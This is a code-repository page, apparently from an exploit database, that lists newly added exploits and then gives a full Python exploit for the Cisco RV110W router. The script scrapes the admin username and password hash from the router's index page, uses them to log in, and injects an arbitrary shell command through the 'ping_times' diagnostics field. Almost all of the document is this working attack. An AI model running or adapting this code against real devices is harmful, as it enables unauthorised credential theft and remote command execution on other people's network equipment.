e3c06fe0f7
16 changes to exploits/shellcodes Angry IP Scanner 3.5.3 - Denial of Service (PoC) UltraISO 9.7.1.3519 - 'Output FileName' Denial of Service (PoC) Zortam MP3 Media Studio 24.15 - Local Buffer Overflow (SEH) Cisco RV110W - Password Disclosure / Command Execution Safari - Proxy Object Type Confusion (Metasploit) Adminer 4.3.1 - Server-Side Request Forgery Responsive FileManager 9.13.4 - Multiple Vulnerabilities Fortify Software Security Center (SSC) 17.10/17.20/18.10 - Information Disclosure Fortify Software Security Center (SSC) 17.10/17.20/18.10 - Information Disclosure (2) Huawei Router HG532e - Command Execution Facebook And Google Reviews System For Businesses - Cross-Site Request Forgery (Change Admin Password) Facebook And Google Reviews System For Businesses 1.1 - SQL Injection Facebook And Google Reviews System For Businesses 1.1 - Remote Code Execution Double Your Bitcoin Script Automatic - Authentication Bypass
98 lines
No EOL
3.6 KiB
Python
Executable file
98 lines
No EOL
3.6 KiB
Python
Executable file
#!/usr/bin/env python2
|
|
|
|
#####
|
|
## Cisco RV110W Password Disclosure and OS Command Execute.
|
|
### Tested on version: 1.1.0.9 (maybe useable on 1.2.0.9 and later.)
|
|
|
|
# Exploit Title: Cisco RV110W Password Disclosure and OS Command Execute
|
|
# Date: 2018-08
|
|
# Exploit Author: RySh
|
|
# Vendor Homepage: https://www.cisco.com/
|
|
# Version: 1.1.0.9
|
|
# Tested on: RV110W 1.1.0.9
|
|
# CVE : CVE-2014-0683, CVE-2015-6396
|
|
|
|
import os
|
|
import sys
|
|
import re
|
|
import urllib
|
|
import urllib2
|
|
import getopt
|
|
import json
|
|
|
|
import ssl
|
|
|
|
ssl._create_default_https_context = ssl._create_unverified_context
|
|
|
|
###
|
|
# Usage: ./{script_name} 192.168.1.1 443 "reboot"
|
|
###
|
|
|
|
if __name__ == "__main__":
|
|
IP = argv[1]
|
|
PORT = argv[2]
|
|
CMD = argv[3]
|
|
|
|
# Get session key, Just access index page.
|
|
url = 'https://' + IP + ':' + PORT + '/'
|
|
req = urllib2.Request(url)
|
|
result = urllib2.urlopen(req)
|
|
res = result.read()
|
|
|
|
# parse 'admin_pwd'! -- Get credits
|
|
admin_user = re.search(r'.*(.*admin_name=\")(.*)\"', res).group().split("\"")[1]
|
|
admin_pwd = re.search(r'.*(.*admin_pwd=\")(.{32})', res).group()[-32:]
|
|
print "Get Cred. Username = " + admin_user + ", PassHash = " + admin_pwd
|
|
|
|
# Get session_id by POST
|
|
req2 = urllib2.Request(url + "login.cgi")
|
|
req2.add_header('Origin', url)
|
|
req2.add_header('Upgrade-Insecure-Requests', 1)
|
|
req2.add_header('Content-Type', 'application/x-www-form-urlencoded')
|
|
req2.add_header('User-Agent',
|
|
'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
|
|
req2.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
|
|
req2.add_header('Referer', url)
|
|
req2.add_header('Accept-Encoding', 'gzip, deflate')
|
|
req2.add_header('Accept-Language', 'en-US,en;q=0.9')
|
|
req2.add_header('Cookie', 'SessionID=')
|
|
data = {"submit_button": "login",
|
|
"submit_type": "",
|
|
"gui_action": "",
|
|
"wait_time": "0",
|
|
"change_action": "",
|
|
"enc": "1",
|
|
"user": admin_user,
|
|
"pwd": admin_pwd,
|
|
"sel_lang": "EN"
|
|
}
|
|
r = urllib2.urlopen(req2, urllib.urlencode(data))
|
|
resp = r.read()
|
|
login_st = re.search(r'.*login_st=\d;', resp).group().split("=")[1]
|
|
session_id = re.search(r'.*session_id.*\";', resp).group().split("\"")[1]
|
|
|
|
# Execute your commands via diagnose command parameter, default command is `reboot`
|
|
req3 = urllib2.Request(url + "apply.cgi;session_id=" + session_id)
|
|
req3.add_header('Origin', url)
|
|
req3.add_header('Upgrade-Insecure-Requests', 1)
|
|
req3.add_header('Content-Type', 'application/x-www-form-urlencoded')
|
|
req3.add_header('User-Agent',
|
|
'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
|
|
req3.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
|
|
req3.add_header('Referer', url)
|
|
req3.add_header('Accept-Encoding', 'gzip, deflate')
|
|
req3.add_header('Accept-Language', 'en-US,en;q=0.9')
|
|
req3.add_header('Cookie', 'SessionID=')
|
|
data_cmd = {"submit_button": "Diagnostics",
|
|
"change_action": "gozila_cgi",
|
|
"submit_type": "start_ping",
|
|
"gui_action": "",
|
|
"traceroute_ip": "",
|
|
"commit": "1",
|
|
"ping_times": "3 |" + CMD + "|",
|
|
"ping_size": "64",
|
|
"wait_time": "4",
|
|
"ping_ip": "127.0.0.1",
|
|
"lookup_name": ""
|
|
}
|
|
r = urllib2.urlopen(req3, urllib.urlencode(data_cmd)) |